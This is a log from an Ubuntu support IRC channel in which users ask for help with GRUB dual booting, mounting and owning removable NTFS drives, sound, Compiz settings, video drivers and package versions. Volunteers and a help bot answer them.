[12:00] <randomwalker> but i can't ask them to do that
[12:00] <mrmonday> what program can I use for converting between video formats?
[12:00] <Tyroazard> Strangelv: If you don't mind me asking, what's with the extra "'s?
[12:00] <randomwalker> any ideas??
[12:00] <Strangelv> Tyroazard: I've been doing most of my online realtime discussion in ASI MOO since late 1999
[12:01] <Starnestommy> randomwalker: I think it has to do with the update-grub program and the way you have menu.lst laid out
[12:01] <Strangelv> "starting the line with double quotes makes it a say instead of a command
[12:01] <Tyroazard> Ah.
[12:01] <Strangelv> :: thought he'd backspaced past that double quote
[12:01] <[Gutsy]TuTUXG> mrmonday, mencoder?
[12:01] <Strangelv> "I must have automatically retyped it
[12:01] <Tyroazard> Correct me if I'm wrong, but this appears to be an internet relay chat channel.
[12:01] <Starnestommy> it is
[12:01] <Tyroazard> Either way, each to his own
[12:02] <mrmonday> [Gutsy]TuTUXG, does that have a GUI?
[12:02] <Tyroazard> Or her own, if it applies.
[12:02] <Strangelv> Yes it is, and it's less bad to put double quotes here than not in the MOO
[12:02] <randomwalker> Starnestommy, is there a way to configure update-grub so that it won't clobber windows
[12:02] <[Gutsy]TuTUXG> mrmonday, no..
[12:02] <melodosgr> is there any way to view my partitions through terminal?
[12:03] <Starnestommy> randomwalker: try copying the windows parts of menu.lst into another file, update the kernel, then paste the windows parts back in
[12:03] <Strangelv> "I must admit that part of my unfamiliarity with the menu.lst problem is that I've not created any dual boot installs for awhile
[12:03] <LetterRip> anyone have any ideas on what might cause a disk access every 5 seconds>
[12:04] <LetterRip> ?
[12:04] <Strangelv> Isn't disk access every 5 seconds normal?
[12:04] <randomwalker> Starnestommy, thanks, that does work, i do it myself, but that's too complicated for my parents to do
[12:04] <Strangelv> "how heavy is the disk access?
[12:04] <LetterRip> Strangelv - 140kb once every five seconds
[12:04] <[Gutsy]TuTUXG> randompolygamy, u can right a script to do it
[12:04] <Starnestommy> LetterRip: something doing a lot of logging?
[12:04] <LetterRip> Starnestommy, possibly but i don't see anything that would do so
[12:05] <[Gutsy]TuTUXG> randompolygamy, and when windows entry disappears, just run the script
[12:05] <Strangelv> That sounds possibly within the realm of normal.  I don't know the specifics.  This is a fixed disk with your root partition?
[12:05] <[Gutsy]TuTUXG> and reboot

[12:05] <differentreality> hi... when I start my computer I want my 2 extra disks to be mounted automatically and i want my internet connection to be enabled.  Do i need to write the commands in rc.local exactly as I would type them in terminal ?
[12:06] <Strangelv> to mount automatically: hack on /etc/fstab
[12:06] <hk2999> differentreality: your internet connection doesn't start automatically?
[12:06] <Starnestommy> LetterRip: it looks like the names of some of them were cut short
[12:06] <differentreality> hk2999: nop i need to do pon nameofconnection

[12:07] <IanLiu> I am installing Cedega, but I don't know which profile I should get. What is the recomendation?
[12:07] <Strangelv> if you're DSL/Cable/FiOS/T1 you definitely should not need to manually initiate an internet connection
[12:08] <ForsakenSoul> can someone tell me how to install skype on ubuntu 7.10 ?
[12:08] <[Gutsy]TuTUXG> that depends on how his isp setted it up

[12:11]  * Strangelv can't help wib: he uses gnash, not adobe
[12:12] <wib> Strangelv: and how does that work out?
[12:12] <hk2999> Strangelv: why you use gnash?

[12:21] <RAdams> Hi all. Is there a way to make Nautilus able to open web folders by putting in an address such as https://domainname.com:2078? cPanel, the popular website management console, insists that putting this address in will allow access to web folders in Nautilus, but this does not work.
[12:22] <predaeus> jack, hm, probably command line options mentioned above might help. I don't know sorry.
[12:23] <jack> Strangelv: i would like to know how to disable ASPI, shall i go to bios and set the hard disk to IDE?
[12:23] <[Gutsy]TuTUXG> misc--, yes, u need the wmp plugin, but it's not available for linux

[12:24] <bjames> I've just installed Ubuntu 7.10 and ndiswraper - when I manually install the driver (sudo modprobe ndiswrapper) it works fine, but when I add an entry in "/etc/modules" if freezes on boot (just after the login screen, I assume when /etc/modules is read) - any ideas?
[12:24] <misc--> [Gutsy]TuTUXG: yeah that's what I thought. Hmmm... I guess the only way then is to play it on windows, then look at the properties and see if it has information for direct link to stream it?
[12:24] <realmer> hello
[12:25] <[Gutsy]TuTUXG> misc--, u can try check the code for the site
[12:25] <realmer> does anyone has compiz-fusion installed
[12:25] <misc--> [Gutsy]TuTUXG: search for something like 'wmv' or something in the html source you mean?
[12:26] <VvWolverinevV> how do i set a password for my irc nick?
[12:26] <RAdams> realmer: all gutsy installs have compiz installed by default. Ask your question directly, it will save time

[12:26] <realmer> when you rotate window should menus rotate with window

[12:27] <lfs> hello
[12:27] <[Gutsy]TuTUXG> misc--, or use a virtual machine, ur choice
[12:27] <realmer> because for me they stay in place and not transform together with the rest of the window

[12:31] <Ziroda1> andyba: you type in its name

[12:31] <RAdams> Is there a way to make Nautilus able to open web folders by putting in an address such as https://domainname.com:2078? cPanel, the popular website management console, insists that putting this address in will allow access to web folders in Nautilus, but this does not work.
[12:31] <ikonia> lfs: I am a developer on the project so I suggest you take it to the LFS support/dicussion channel
[12:31] <lfs> bjames:What was ur SBU for your GCC
[12:31] <[Gutsy]TuTUXG> lfs, gentoo, slackware, i always want to try them
[12:32] <bjames> lfs: I can't remember
[12:32] <ikonia> lfs: that will change dependong on the machine
[12:32] <moad> randomtime|away i know , anyone knows a newbie guide to all that terminal using and how linux handles programs and folders ?
[12:32] <lfs> ikonia::What was ur SBU for your GCC?
[12:32] <ikonia> lfs: someone elses sbu is not inpportant
[12:32] <pawleeq> Hi, my 7.1 sudenly started to move with mouse cursor when i switch applications with alt-tab etc.... please how to disable this atrocity? thx
[12:32] <ikonia> lfs: this is an ubuntu support channel, so it shouldn't be discussed here
[12:32] <bjames> lfs: the idea of sbu is to "guestimate" how long it will take to build on your machine
[12:33] <bjames> based on a list of build-times in sbu's
[12:33] <Starnestommy> RAdams: I don't think so
[12:33] <nevoeiro> hello. just installed new ati driver. if i run a 3d application with desktop effects enabled, screen (windows application) starts flicking. the only way is to disable desktop effects... :( is there a way to fix this?
[12:33] <bjames> lfs: if you're sitting around for a long time waiting for a build you should get used to it ;)
[12:33] <RAdams> pawleeq: 7.10, not 7.1, and do you mean the focus follows the windows, or the mouse cursor arbitrarily moves?
[12:33] <ikonia> n
[12:33] <ikonia> oops
[12:33] <ikonia> bjames: can we please stop discussing it
[12:33] <RAdams> Starnestommy: yeah, I think they're full of it.
[12:33] <Strangelv> anyone joining recently know how to reset the display in xorg or KDE without restarting xorg itself?  VLC has a bad habit of leaving my display dimmed after putting it into fullscreen mode
[12:34] <lfs> ikonia:sorry...wwhat i wanted to know was from the last 1 hour ive been compiling gcc
[12:34] <lfs> still it isnt complete
[12:34] <ikonia> lfs: so ? how is that anything to do with ubuntu
[12:34] <ikonia> lfs: that is nothing to do with supporting ubunut, or the operating system ubuntu.
[12:34] <bjames> lfs: as others have suggested you'll get much better answers in an lfs IRC channel
[12:34] <pawleeq> RAdams, when I switch between 2 windows (doesnt matter which) curtsoc moves to upper right corner
[12:34] <ikonia> lfs: there is a support process detailed in the LFS book
[12:34] <ikonia> lfs: READ the lfs book and look at the support resources there
[12:35] <lfs> ikonia:yup thats true but....ohk sorry to ask at wrong place
[12:35] <RAdams> pawleeq: Gnome or KDE, and do you have Compiz or Beryl active?
[12:35] <pawleeq> RAdams, Gnome, compiz fusion
[12:36] <fruitbag> Hey all
[12:36] <fruitbag> I have an out of range resolution problem with my monitor when running Ubuntu.
[12:36] <RAdams> pawleeq: disable desktop effects. Does it still happen?
[12:36] <VvWolverinevV> starnestommy: thanks
[12:36] <fruitbag> ...the latest version.
[12:36] <RAdams> fruitbag: that's not enough information.
[12:36] <ompaul> !resolution | fruitbag
[12:36] <hairulfr> fruitbag: Try pressing ctrl + alt + +/-
[12:36] <ubotu> fruitbag: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type « sudo /etc/init.d/?dm restart » in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[12:36] <bjames> fruitbag: I've taken half of yesterday trying to get my LCD TV and media PC to cooperate
[12:36] <fruitbag> Thanks, ompaul :)
[12:37] <VvWolverinevV> starnestommy: it's stupid that if you set an email, anyone can see it with whois
[12:37] <threeseas> question, how do I take a menu item and change its startup to be run from a shell
[12:37] <fruitbag> I found my problem very frustrating. I had no screen at all1
[12:37] <pawleeq> RAdams, disabling desktop effects also disables this
[12:37] <bjames> fruitbag: I suggest you google for ubuntu /etc/X11/xorg.conf
[12:37] <Starnestommy> VvWolverinevV: email is hiden by default, but you can still see hidden info for your own nick
[12:37] <bjames> fruitbag: and include your monitor name
[12:37] <RAdams> pawleeq: do you have compizconfig-settings-manager installed?
[12:38] <bjames> fruitbag: the best place to start is a known, working xorg.cong file for your monitor
[12:38] <pawleeq> RAdams, yes
[12:38] <bullgard4> make oldconfig obtains http://ubuntuusers.de/paste/28430/. What should I do next?
[12:38] <RAdams> pawleeq: backup your config under prefs in ccsm and reset to defaults. Does the problem still happen>?
[12:38] <pawleeq> RAdams, mmt
[12:38] <bjames> fruitbag: remember, only copy the sections that relate to the monitor, NOT the graphics card, mouse, keyboard, etc
[12:38] <bjames> fruitbag: and make sure the section names match up
[12:38] <yupeng007> is anybody here familiar with configuration of synaptics?
[12:38] <bjames> :-)
[12:39] <RAdams> yupeng007: just ask the question
[12:39] <lfs> I have ubuntu installed on a 4 gb partition and im out of space now..can you help
[12:39] <fruitbag> I have a very obscure brand of monitor.
[12:39] <RAdams> lfs: get a larger hard drive, resize the partition, or remove software you're not using.
[12:40] <pawleeq> RAdams, no
[12:40] <lfs> can i extend it?
[12:40] <Randomtime|away> lfs: try increcing the partition using gparted
[12:40] <RAdams> lfs: gparted
[12:40] <Randomtime|away> yeah, Gparted is included is in live cd
[12:40] <yupeng007> i didn't know which variable is for that makes me able to click on the touchpad not just click on the 2 buttons.
[12:40] <VvWolverinevV> starnestommy: oh, haha, ok, thanks
[12:41] <kyle_> hi i'm getting this error when im trying to install q2mc, Error: Wrong QMake version. QMake version 2 (Qt 4) required!
[12:41] <kyle_> i tried installing qt4 from add/remove but istill get same error any ideas? :o
[12:42] <modulus> I have a laptop. i used to run ubuntu on it. i recently upgraded to 7.10. now i here the parking noise of hd, a lot. what is the reasonable thing to do here?
[12:42] <fruitbag> But, guys -- how could I type the commands when I have no screen? ;s
[12:42] <ikonia> lfs: not without doing a partition resize which comes with risk
[12:42] <realmer> fruitbag: ctrl+alt+f1?
[12:42] <RAdams> fruitbag: "recovery mode"
[12:43] <RAdams> pawleeq: then restore your settings, and check through the window preferences and see if there's a specific setting misconfigured. You've successsfully determined it's your config causing the problem
[12:43] <fruitbag> Thanks, guys.
[12:43] <fruitbag> realmer: do I do that when I have the resolution problem?
[12:43] <RAdams> pawleeq: I would start with advanced search in ccsm and search "cursor" or "mouse"
[12:43] <fruitbag> That is, when I am prompted by a message by my monitor?
[12:44] <pawleeq> RAdams, thanks very much I do not have fine tuned profile in compiz so I will easily tune the default one
[12:44] <RAdams> fruitbag: ctrl alt f1 will take you to another tty, which give you command line access
[12:45] <RAdams> pawleeq, yeah, that's the easiest way :)
[12:45] <pawleeq> RAdams, nevertheless I find it quite strange, becuase there was nothing like this happening yeasterday...
[12:46] <freepenguin> hello
[12:46] <modulus> will the live CD destroy my hd too?
[12:46] <RAdams> pawleeq: that is strange. See if it happens again, but back up your settings each time you make a change in ccsm. That way, when it does happen, you can use compdiff and see what's being corrupted in your compiz settings file
[12:46] <jaggz-> How can I install package version X but tell the package system that version Y dependency is met?
[12:46] <jaggz-> that is, the Y dependency is met by the X version
[12:46] <RAdams> pawleeq: if you get that level of information, report a launchpad bug
[12:47] <VvWolverinevV> how do i turn off alerts like "* Shyde has joined #ubuntu" in mIRC?
[12:47] <Ruud> I would like to know how to take ownership of a drive who's owner is root. tred sudo chown ruud /media/drivename
[12:47] <jaggz-> Ruud, maybe remount
[12:47] <[Gutsy]TuTUXG> jaggz-, get the source, change the version then repackage it
[12:47] <jaggz-> Ruud, mount -o 'remount,uid=me'
[12:47] <pawleeq> RAdams, might my previous expewriments with KDE4 coused this (I doubt, but thats only reasonable explanation I can think of...)
[12:48] <jaggz-> TuTUXG, gawww.. is that it?  :(
[12:48] <Ruud> But I don't want to remount it every time.., how does it mount automatically me being owner?
[12:48] <RAdams> pawleeq: it's possible, I suppose
[12:48] <RAdams> ruud: /etc/fstab
[12:48] <[Gutsy]TuTUXG> ?
[12:48] <jaggz-> I force-installed a different version of python in this very old ubuntu system.. and now the system wants to delete a ton of packages because their beloved python-version (older) is not around anymore
[12:48] <connordejong> hello people
[12:48] <RAdams> jaggz-: forcing versions results in borkage
[12:49] <connordejong> i need some help with ubuntu on ppc
[12:49] <jaggz-> read the manpage for mount
[12:49] <RAdams> !ask connordejong
[12:49] <jaggz-> RAdams, i force-installed the package because the original ones are no longer available :(
[12:49] <connordejong> anyone can help me with installing ubuntu ppc
[12:49] <RAdams> !ask | connordejong
[12:49] <ubotu> connordejong: Please don't ask to ask a question, ask the question -- All On One Line, so others can read it and follow it easily --. and if anyone knows the answer they will most likely answer. :-)
[12:49] <connordejong> ok thanks ubotu
[12:49] <Ruud> RAdams: it is not in the fstab because I don't have it on at all times, it is my removable backupdrive...
[12:49] <pawleeq> RAdams, well thx for support and have a nice day:)
[12:49] <ForsakenSoul> !microphone
[12:49] <ubotu> Sorry, I don't know anything about microphone - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:49] <ForsakenSoul> !mic
[12:49] <ubotu> Sorry, I don't know anything about mic - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:49] <jaggz-> got the stuff I needed installed.. but other things rely on the other version.. they don't really require it -- just that they want the number
[12:49] <ForsakenSoul> how do i set my mic ?
[12:50] <Ruud> When I need it I'll turn it on, but it get root as owner then as it seems
[12:50] <modulus> forsaken: plug it in?
[12:50] <jaggz-> Ruud, so, manpage for mount and look up the uid, gid stuff
[12:50] <RAdams> modulus: beat me to it
[12:50] <jaggz-> then put it in fstab but put "noauto" in there I think
[12:50] <jaggz-> there's some option to not have it mount automatically
[12:50] <soldats> forsaken, plug it onto the line-in
[12:50] <RAdams> ruud: jaggz- is correct. noauto is what you want
[12:50] <Ruud> jaggz-: This means I'll have to do that every time? or des it mount the next time as me when i turn it on?
[12:51] <ForsakenSoul> modulus it is plugged in
[12:51] <RAdams> ruud: it will mount when you mount it
[12:51] <modulus> ForsakenSoul: give it volume.
[12:51] <soldats> forsaken, run alsamixer and unmute the line-in and turn the volume for it up
[12:51] <jaggz-> oh.. hmm.. I see what you mean
[12:51] <Bodsda> Forsaken double click on the picture of a speaker in the cornor of ur desktop and make sure the mic isnt muted
[12:51] <connordejong> i need help with the ubuntu ppc live cd installing on an ibookg4, i downloaded 7.10 off of the mirror, put it on the cd, and checked it for corruption, then i put it in, and the black screen saying 'welcome to ubuntu 7.10' comes up... then i hit enter, and it runs through a couple of windows, but then the screen goes black, and stays like that... nothing happens, and it doesn't allow any commands to put in. I've downloaded ubuntu
[12:51] <Ruud> RAdams: I understand, but Ubuntu mounts it on its own which I like very much... Is there a way to have it mounted automatically as me every time I turn it on?
[12:52] <jaggz-> I'm not sure if you can have something detect the drive's ID (I have no idea how such a thing works)..
[12:52] <[Gutsy]TuTUXG> jaggz-, or u can repackage ur newer version package with modifying its version to the old one
[12:52] <jaggz-> TuTU, that's a good idea!
[12:52] <jaggz-> at least.. I think that one may be possible..
[12:52] <Hatl> hi! i have installed ubuntu on my new pc and i want to update everything now. is it possible to copy the packages from another pc which is up to date?
[12:52] <jaggz-> can I re-package it from the installed files?
[12:52] <Bodsda> connordejong does it give any error messages?
[12:52] <[Gutsy]TuTUXG> jaggz-, it's all in one file
[12:53] <jaggz-> like, dpkg -L debian-vX-dev > file-list
[12:53] <[Gutsy]TuTUXG> jaggz-, sorry what do u mean?
[12:53] <th0r> Hatl no, that won't work
[12:53] <verb3k> Hatl, yes,if it is the same version of ubuntu
[12:53] <jaggz-> then: make-package debian-vOLD-dev -f file-list
[12:53] <elnene> hola
[12:53] <leftcase> hola
[12:53] <jaggz-> I'm not sure yet how to make a package, but in my psuedo-shell-speak...
[12:53] <RAdams> ruud: when you used chown, did you use -r?
[12:53] <connordejong> bodsda; no it does not unfortunately... the screen just goes completely black, although right before that the previous window had said something about two things false, but it goes too fast for me to read it, nevertheless copy it down
[12:53] <[Gutsy]TuTUXG> jaggz-, i don't know how to do that, what i always do is get the source code of that package and modify it and repackage it
[12:54] <jaggz-> I think this might work.. yay.  Then I am not forced to upgrade just yet :)
[12:54] <Ruud> RAdams: no, I'll look it up....
[12:54] <verb3k> Hatl, you can copy the packages in /var/cache/apt/archives to the same directory in the other machine and then run the update manager
[12:54] <jaggz-> yeah, I think I don't need the source though
[12:54] <Hatl> verb3k: that did not work. the update-manager wants to download everything again
[12:54] <jaggz-> since the files going into the package aren't source
[12:54] <ForsakenSoul> soldats it doesn`t work
[12:54] <Bodsda> connordejong have u got a graphics card plugged in?
[12:55] <jaggz-> ruud, again, I really am not sure about automatically detecting the specific type of device
[12:55] <RAdams> bodsda: what kind of ridiculous question is that?
[12:55] <Ruud> RAdams: how does it help changing the owner if I set it to recursive?
[12:55] <connordejong> Bodsda: yea what do you mean?
[12:55] <verb3k> Hatl, that's strange
[12:55] <jaggz-> you'd want some special usb-file or something which says: device-XxXx gets these mount options \n  device-YyYy gets these mount options...
[12:55] <Ruud> jaggz-: So I should remount if I want a different owner every time I want this?
[12:55] <ForsakenSoul> is there any way i can see if my mic is even working ?
[12:55] <RAdams> ruud: because you need to own below the level of the folder. having ownership of the folder, but nothing inside of it, doesn't help you
[12:56] <Bodsda> ubuntu 7.10 wouldnt install on my pc when i had my graphics card plugged in,.i had to install then put the graphics card back in then putdrivers on it then use it
[12:56] <hairulfr> Bodsda: It's on an an iBook ppc -
[12:56] <jaggz-> well, if it's the only device you're going to have on /dev/foo then you can just put those options in /etc/fstab
[12:56] <[Gutsy]TuTUXG> jaggz-, actually u need to change the version number in debian/changelog within the package source
[12:56] <Ruud> RAdams, that I understand, but I cannot even change the owner as it seems without remounting
[12:56] <jaggz-> I'm not sure about security issues with that, but I think it'd be fine
[12:56] <Bodsda> oh,.,.my bad
[12:56] <connordejong> hairulfr: thanks
[12:56] <soldats> forsaken, if you know how to run it through a cable checker yes, or if you have a PA system try it on there. or even a guitar amp
[12:56] <jaggz-> but any device that goes to /dev/whatever will get those options
[12:56] <connordejong> let me put the question down again so you can get it right
[12:56] <connordejong> i need help with the ubuntu ppc live cd installing on an ibookg4, i downloaded 7.10 off of the mirror, put it on the cd, and checked it for corruption, then i put it in, and the black screen saying 'welcome to ubuntu 7.10' comes up... then i hit enter, and it runs through a couple of windows, but then the screen goes black, and stays like that... nothing happens, and it doesn't allow any commands to put in. I've downloaded ubuntu
[12:56] <connordejong> there
[12:56] <RAdams> ruud: you should only need to chown -r (while it's mounted) once. it should remember that
[12:56] <verb3k> guys is it possible to bring down/up network connections for interfaces that are not configured in /etc/network/interfaces through the command line?
[12:56] <PLSshowyourhelp> ForsakenSoul: you can use soundrecoder
[12:56] <Hatl> verb3k: is there anything else i have to copy?
[12:57] <jaggz-> if you have options in /etc/fstab, you can just type "mount /dev/whatever" and all the options will be obtained from fstab automatically
[12:57] <jaggz-> chown -R
[12:57] <verb3k> Hatl, don't really know...sorry
[12:57] <hairulfr> connordejong: Have you tried Yellowdog? I've had early versions of ubuntu running on my ibook 500 mhz, but nothing never than 6.10. That worked without a flaw. Yellowdog also worked great.'
[12:57] <RAdams> connordejong: try the alternate install cd
[12:57] <th0r> verb3k you can use ifconfig to config an interface, then bring it up
[12:57] <jaggz-> excellent point.. can just chown -R the_directory_or_files you want
[12:58] <jaggz-> what filesystem is on the backup drive, ruud?
[12:58] <connordejong> hairulfr: I have never tried yellowdog... i am a python programmer, and looking for a good platform for me to develop 2d games on with python
[12:58] <PLSshowyourhelp> clear up
[12:58] <connordejong> RAdams: the alternate cd? What would that change... I don't want to waste another cd...
[12:58] <Ruud> jaggz-: So I can add a line in the fstab that doesn't actually mount at that time but will be read when mounting
[12:58] <Ruud> jaggz-: I think it is fat32
[12:58] <soldats> connordejong, google pygame
[12:58] <Hatl> i have installed ubuntu on my new pc and i want to update everything now. is it possible to copy the packages from another pc which is up to date?
[12:58] <verb3k> th0r, how to do the configuration ?
[12:58] <connordejong> soldats: i know what pygame is
[12:59] <RAdams> connordejong: it's not a "live" cd... it uses a text based install
[12:59] <connordejong> soldats: im just having lots of trouble wiht python on my mac
[12:59] <jaggz-> Ruud, then you can't chown
[12:59] <th0r> verb3k is it wireless or wired?
[12:59] <jaggz-> can you??
[12:59] <connordejong> soldats: so i dont want to deal with it
[12:59] <Ruud> jaggz-: Oops, it is ntfs which I don't like; I didn't know that!
[12:59] <verb3k> th0r, wired ethernet
[12:59] <soldats> connordejong, have you used idle
[12:59] <connordejong> soldats: ya that is where i learned to program
[12:59] <jaggz-> you have to use the global option when mounting
[12:59] <Bodsda> ntfs config tool
[12:59] <realmer> connordejong: and ctrl+alt+f1 does not work either?
[12:59] <connordejong> soldats:as well as my current ide
[12:59] <jaggz-> but the idea is to automatically use that option uid=
[12:59] <connordejong> realmer: what would that do?
[13:00] <RAdams> ruud: i solved the same problem you had with chown -r. That's all I had to do.
[13:00] <jaggz-> so.. is it the only device you'll have on /dev/whatever ?
[13:00] <Bodsda> not for your connor
[13:00] <Bodsda> dejong
[13:00] <Ruud> RAdams: I just found out it is ntfs :|
[13:00] <connordejong> realmer: i've tried typing and pressing every button on my keyboard to find some kind of defualt out, but there is no response
[13:00] <RAdams> ruud: man ntfs-3g
[13:00] <DrHalan> hey im looking for a tutorial or smiliar that explains me the different folders like var, usr, lib etc what theyre used for etc
[13:00] <th0r> verb3k just ifconfig then....the ifconfig man page will tell you all the information taht has to be included in the command. YOu will need the ip address, the netmask, the device, maybe other items if you have a weird config
[13:00] <connordejong> bodsda: he addressed the question to me,
[13:00] <realmer> connordejong: should switch to text terminal instead of graphics, but it all depends of the actual problem would it work or not
[13:01] <RAdams> drhalen: http://www.freeos.com/articles/3102/
[13:01] <Bodsda> thought u was talkig to me my bad
[13:01] <vd45854> DrHalan: man hier
[13:01] <verb3k> th0r, I see....I will try and report back
[13:01] <Ruud> I know about the ntfs problems which exist(ed). So I want to convert it asap...
[13:02] <jaggz-> not paying attention for a bit
[13:02] <connordejong> bodsda: no worries
[13:02] <DrHalan> RAdams, THANK YOU :)
[13:02] <realmer> connordejong: linux has virtual terminals that are accessible with ctrl+alt+f[1-n]
[13:02] <realmer> connordejong: ctrl+alt+f7 being the graphical one by default afaik
[13:02] <connordejong> ok
[13:03] <connordejong> so i should try that right now?
[13:03] <connordejong> what would i do when i get that
[13:03] <connordejong> realmer: sorry that was addressed to you realmer
[13:03] <connordejong> realmer: hard to get used to this irc
[13:03] <connordejong> realmer: havent really used it that much
[13:04] <steveire> Hi. I'm not getting any sound playback on my laptop (system sounds or amarok). How do I start to debug this?
[13:04] <verb3k> th0r, is there another way? this command needs a networking expert and I am not one >_<
[13:04] <bottiger> when I'm trying to update I always get this error: http://pastebin.ca/853238 any idea what to do about it?
[13:04] <Bodsda> sound bugs happen to me,. first thing try rebooting,.usually sorts it
[13:04] <steveire> It worked before, and I'm not sure when it stopped.
[13:05] <steveire> Bodsda: I've rebooted many times.
[13:05] <connordejong> realmer, bodsda, soldats, RAdams: thanks for the helps guys, i will try those things out
[13:05] <Bodsda> i no can be random sometimes,.im not sure of the cause but a reboot fixes mine
[13:05] <kyle_> does anyone know how i get install Qt 4.2.0+?
[13:05] <soldats> cool
[13:05] <Bodsda> damn
[13:05] <steveire> Amarok shows that it is playing the sound, but I hear nothing. I'm pretty sure I haven't put anything on mute.
[13:06] <Bodsda> do u get sound at the log in screen?
[13:06] <th0r> kyle_ usually by installing kde, but you might get away with just installing the libqt
[13:06] <soldats> !sound | steveire
[13:06] <ubotu> steveire: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3

[13:08] <kyle_> how do i install libqt th0r? :o
[13:08] <kyle_> :(
[13:08] <soldats> !info libqt
[13:08] <ubotu> Package libqt does not exist in gutsy
[13:08] <RAdams> user_id=0 and group_id=0 should be changed to your user and group id, which you can find using the manage users and groups tool
[13:08] <th0r> kyle_ using synaptic, just like any other package
[13:08] <Ruud> I know how... :P

[13:09] <Ruud> RAdams: one last question:
[13:09] <ali1234> Hatl: yeah, copy them from /var/apt/cache i think
[13:09] <bullgard4> make oldconfig obtains http://ubuntuusers.de/paste/28430/. How to get rid of the error messages?
[13:09] <Ruud> RAdams: the filesystem is set to fuseblk
[13:09] <Ruud> RAdams: should this be ntfs-g3?
[13:09] <RAdams> ruud: that's correct. google "fuse filesystem"
[13:09] <th0r> kyle_ I think it is called libqt3-mt, but that might not be enough...never tried to run qt apps without kde
[13:09] <RAdams> alright kids I'm out. don't break any packages I wouldn't break. night
[13:10] <Ciusbet> Dudes, i have a Question, how can I unlink all semaphores (using Shell) ???
[13:10] <Ruud> RAdams: So I shouldn't change it to ntfs-g3?
[13:10] <ali1234> Hatl: i meant /var/cache/apt/archives
[13:10] <Hatl> ali1234: doesnt work
[13:10] <RAdams> ruud: correct

[13:15] <mewm> On my laptop the "Fn + Arrow down" is supposed to turn down volume, but it doesen't. I can see that the turns down the "Front" values in Alsamixer. But the one that controles the volume is "PCM" how do i change that?
[13:16] <kane77> can I prevent window from being closed?
[13:16] <th0r> kane77 how is the window being closed? automatically?
[13:17] <ali1234> mewm: try right clicking the speaker icon and clicking "preferences" and changing the setting there
[13:17] <kane77> th0r, no, from being closed manually (by accident or so)
[13:17] <Ruud> Thought I knew: how do I get my user_id and group_id???
[13:17] <th0r> kane77 no...far as I know, when you tell the computer to do something it is going to do it.
[13:17] <mewm> ali1234, perfect! Thanks :P
[13:18] <ali1234> Ruud: 'id'
[13:18] <th0r> kane77 least that is how *I* want it to work <smile>
[13:18] <verb3k> kane77, I think that's up to the app itself
[13:18] <Ruud> ali1234: damn :P
[13:19] <kane77> th0r, verb3k okay.. I just thought there might be some "lock" option
[13:19] <tevfik> hey i need help. my video card is nvidia  geforce4 ti 4200 but ubuntu undeteced my card.  somebody help me ?
[13:19] <h1st0> !nvidia | tevfik
[13:19] <ubotu> tevfik: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[13:19] <mewm> ali1234, it doesen't work. The FN key and arrow down still only the "Front" ?
[13:20] <Rotlaus> Hi. I broke my Automount in Gnome. Whenever i plug in a Mass Storage Device i get the Message 'Invalid mount option when attempting to mount the volume 'Sansa e260''. I can mount it manually, but i want my automounting back. How can i check wht is going on?
[13:20] <ali1234> mewm: hmm, what does it say in system->prefs->keyboard shortcuts
[13:20] <tevfik> i already download nvidia drivers//
[13:20] <Strangelv> anyone joining recently know how to reset the display in xorg or KDE without restarting xorg itself?  VLC has a bad habit of leaving my display dimmed after putting it into fullscreen mode
[13:21] <loodjuret> is there a lightweight dist available similar to backtrack (live-cd) for desktop use?
[13:21] <mewm> ali1234, Volume up: 0xb0, Volume down: 0xae
[13:21] <ali1234> mewm: do those correspond to fn + up/down?
[13:21] <mewm> ali1234, i have no idea
[13:21] <cbx33> hey peeps
[13:22] <mewm> But i suppose so, since the "icon" of turning up and down pops up at the screen ali1234
[13:22] <ali1234> mewm: well, try to reset it? because those volume up+down should correspond to the slider control you get when left clicking on the speaker thing, which should now control the correct mixer on your card.
[13:23] <PLSshowyourhelp> !qt
[13:23] <ubotu> Qt is the Q toolkit, which forms the base of KDE and is used by many applications to provide a !GUI. Install the libqt3-mt-dev package to compile Qt applications
[13:23] <ali1234> mewm: so does that volume control work when you use the mouse on it?
[13:23] <ali1234> mewm: i mean when you left click the speak...
[13:23] <th0r> mewm you can determine the keycodes with the showkey command
[13:23] <Ruud> jaggz-: I have a bigger problem now! I changed the mount options from the drive in it's properties pane. From rw nosuid nodev noatime user_id=0 group_id=0 allow_other  into: rw nosuid nodev noatime user_id=1000 group_id=1000 allow_other  But now it doesn't work any more! I get a message that the volume cannot be mounted automatically!
[13:24] <Ruud> jaggz-: How do I undo this change.. where are the options stored??
[13:24] <d_mitry> how to change what a command does? there seems to be some problem with the "opera" command, which caused me to replace "opera" with "/usr/bin/opera" in many places... but i'd rather change what "opera" does. asking on their own server wasn't helpful.
[13:24] <mewm> ali1234, it works if i manually slide on it
[13:25] <ali1234> mewm: i just tried it and i get the same as you... the keys always control the first mixer for some reason
[13:25] <verb3k> Ruud, if you have edited the file in gedit, there should be a backup of the file with a "~" at the end
[13:25] <realmer> d_mitry: which opera
[13:25] <realmer> d_mitry: what does it show
[13:25] <mewm> ali1234, but i suppose that the "Volume down" and up on keyboard shortcut commands corresponds to the "Front"
[13:25] <d_mitry> realmer, 9.50
[13:25] <Ruud> verb3k: I did not change a file, I entered the line inside the drive properties pane
[13:26] <d_mitry> arr, and he left. :@
[13:26] <verb3k> Ruud, I see, maybe jaggz- can help

[13:28] <mewm> th0r, the "Fn" keys shows no output in the showkey command
[13:28] <th0r> mewm right...you need the Fn+ something else
[13:29] <mewm> th0r, ahh will try again

[13:29] <ubotu> To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - Flash 9 is now available in dapper-backports and edgy-backports - See also !Restricted and !Gnash

[13:29] <Ruud> Does anyone know where the mount properties are stored after you change them inside the drive properties windows???
[13:29] <th0r> mewm but Fn+downarrow should show a keycode if it is being interpreted at all
[13:30] <ali1234> mewm: http://ubuntuforums.org/archive/index.php/t-605482.html (but i can't figure out what he means about ctrl - but it sounds like he had the same problem as you)
[13:30] <Shapeshifter> Hi.

